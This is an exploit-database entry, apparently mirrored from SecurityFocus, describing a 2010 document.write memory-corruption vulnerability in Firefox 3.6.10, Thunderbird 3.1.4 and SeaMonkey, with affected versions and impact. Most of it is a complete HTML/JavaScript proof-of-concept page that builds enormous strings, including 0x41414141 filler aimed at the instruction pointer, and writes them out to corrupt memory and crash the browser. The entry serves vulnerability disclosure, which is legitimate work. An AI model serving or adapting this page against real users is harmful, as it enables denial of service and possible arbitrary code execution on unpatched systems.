Mozilla Firefox SeaMonkey 3.6.10 Thunderbird 3.1.4 - document.write Memory Corruption

🗓️ 19 Oct 2010 00:00:00Reported by Alexander MillerType

exploitpack👁 18 Views

Mozilla Firefox, Thunderbird, Seamonkey Memory Corruption Vulnerabilit

source: https://www.securityfocus.com/bid/44247/info

Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions prior to:

Firefox 3.6.11
Firefox 3.5.14
Thunderbird 3.1.5
Thunderbird 3.0.9
SeaMonkey 2.0.9

NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it. 

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
    var eip = unescape("%u4141%u4141");
    var string2 = unescape("%u0000%u0000");
    var finalstring2 = expand(string2, 49000000);
    var finaleip = expand(eip, 21000001);
document.write(finalstring2);
document.write(finaleip);
function expand(string, number) {
    var i = Math.ceil(Math.log(number) / Math.LN2),
        result = string;
    do {
        result += result;
    } while (0 < --i);
    return result.slice(0, string.length * number);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

19 Oct 2010 00:00Current

1.3Low risk

Vulners AI Score1.3